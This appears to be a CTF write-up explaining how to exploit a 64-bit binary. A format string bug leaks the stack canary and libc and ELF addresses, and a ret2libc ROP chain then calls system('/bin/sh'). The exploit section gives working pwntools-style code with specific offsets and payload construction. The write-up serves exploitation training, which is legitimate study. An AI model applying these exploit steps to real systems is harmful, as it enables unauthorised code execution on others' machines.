0. Some pre-requisites:
- Knowledge on buffer overflow and ret2libc.
- Knowledge of 64-bit environments and its difference from 32-bit environments (optional)
- "scanf will quite happily read null bytes. it only stops at white space - strcpy/strcat are the functions you should worry about null bytes" -brx
P.S: How to set ASLR on on gdb (turns off every instance):
This writeup is based on Naivenom's writeup from the CTF which can be found here.
1. Examining the program
When we boot up the program, we can clearly see the program has a format string bug:
As per the bolded text, we can see that there are some addresses leaking (we will observe this later), and then further, the material in the stack highlighted in red. We can observe that the stack information is leaked from the 9th argument (after 9 "%p"s).
Let's check the security on the program.
Canary (Stack Smashing Protector, Cookie): A null-byte terminated string that is located before the saved stack frame pointer (RBP) and return address (RET). This is a value that the program compares to its original value (__stack_chk_fail) before it returns. If this value is overwritten because of a buffer overflow vulnerability, the program will realize that it will not be safe to continue and will terminate the program.
NX: Non-executable bit - you will not be able to execute any kind of shellcode by placing them on the stack.
ELF: Executables and Linkable Format
PIE: Position Independent Executable - All the sections of the program are randomly loaded into memory. (This includes the .data and .code section of the program). But, since the PIE only changes the executable's base address, you will be able to see that if you execute the command "objdump -d <ELF executable>" the output will only give offsets. And these offsets are static!
ASLR (non-PIE): Changes the position of stack, heap, library (but the main executable will get loaded in the same address.)
RELRO: Basically a full RELRO means that you won't be able to do anything like a GOT overwrite.
2. Gathering materials
What we need:
- Leaked canary
- Gadget (pop rdi; ret)
- Three libc addresses:
- base of libc
- (offset to) system()
- (offset to) "/bin/sh"
2.1. Getting the Canary
So, we already know from the first format string bug, that we are able to access information on the stack.
I first put a breakpoint in main (using the b *main command) and ran the program, giving "BBBB" as the input.
At the breakpoint, we can investigate the value of $rsp to see what we have.
As you may observe, we have BBBB (0x42424242) on the stack. We can also see the canary (ending with a null byte), the saved RBP, and return address, all highlighted above.
The canary is located right before the stack frame pointer. As we know that the stack is leaked after 9 %ps, we can conclude that the canary is the 13th argument, the sfp is 14th, and the return address is the 15th argument we can receive from our format string.
2.2. Getting the ELF base address
When we observe the saved RBP, we can see that if we null the last three bytes out, we will be able to get the base ELF address.
This will be useful to us when we obtain our gadget as offsets from the base address.
2.3. Getting the LIBC base address
Breakpoint at giveInfo to set a stop, so that we can observe the registers and addresses. (b giveInfo)
Run the program. (r)
There we can see the address we get from executing scanf("%3$p"); (third argument of the output)
If we take a look at our third argument that gets leaked, we can use that leaked address to get the offset to our libc as shown above. We need grab a few more values too.
We see that:
%3$p: Address of <__write_nocancel+7>
Offset to libc: 0xdb970
Offset from libc to system: 0x3f480
--> %3$p - offset to libc + offset from libc to system = address of system (in libc)
2.4. Address of "/bin/sh"
2.5. ROP Gadgets (pop rdi; ret)
(Basic ret2libc structure)
4. Exploit Rundown
Full exploit can be found in the next section.
I'll try my best to explain everything. T_T Please ask if you don't understand something.
payload = ""
r.recvuntil("Enter the name of Rifle to get info:\n")
r.send("%3$p.%13$p.%14$p\n") # libc address, canary, saved rbp
We want the 3rd, 13th and 14th arguments so we leak those.
leak = r.recvuntil(":").replace(":", "").split(".")
leaked_libc = int(leak, 16)
offset_to_libc = 0xdb970
offset_to_system = 0x3f480
offset_to_binsh = 0x161c19
Once we receive the leaks, we split the string regarding '.'
leak = 3rd argument, leak = canary, leak = sfp
I also save the offsets I have.
libc_addr = leaked_libc - offset_to_libc
system_addr = libc_addr + offset_to_system
binsh_addr = libc_addr + offset_to_binsh
canary = int(leak, 16)
leaked_elf = int(leak, 16)
elf_addr = leaked_elf - (leaked_elf & 0xfff)
offset_pop_rdi = 0xd03
pop_rdi = elf_addr + offset_pop_rdi
I also cast the canary to int here, and calculate the ELF base address.
If you do a &0xfff operation, you get the last three bytes of a number - so we can just subtract this from the original address and we get the base address.
payload += "A"*24 # Fill up the buffer
payload += p64(canary) # Canary
payload += "B"*8 # Overwrite saved RBP
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += "\n"
As written above (POC) this is the generic ret2libc payload. Since the argument to system() is passed on through RDI we load the address of /bin/sh on RDI (using pop rdi) and call system().
5. Full Exploit